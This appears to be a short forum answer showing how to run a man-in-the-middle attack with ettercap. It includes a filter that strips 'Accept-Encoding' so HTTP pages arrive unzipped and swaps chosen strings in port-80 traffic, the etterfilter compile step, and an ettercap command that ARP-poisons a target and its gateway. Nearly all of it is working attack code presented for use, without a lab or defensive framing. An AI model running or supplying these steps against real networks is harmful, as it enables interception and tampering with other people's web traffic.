If you already have a working proxy where the data flows through you dont need arpspoof. You have to write a filter for ettercap. A plain textfile replace.filter
containing (Port 80 for http):
if (ip.proto == TCP && tcp.dst == 80) { // suspress gzipped content
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-DontLoad");
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "searchstring")) {
replace("searchstring", "replacestring");
}
}
You can use several filters in one file for different ports. You also have to "compile" your filter in order to work by
etterfilter replace.filter -o replace.ef
Start ettercap using this filter by issuing
ettercap -T -q -F replace.ef -M ARP /<GATEWAY_IP>/ /<TARGET_IP>/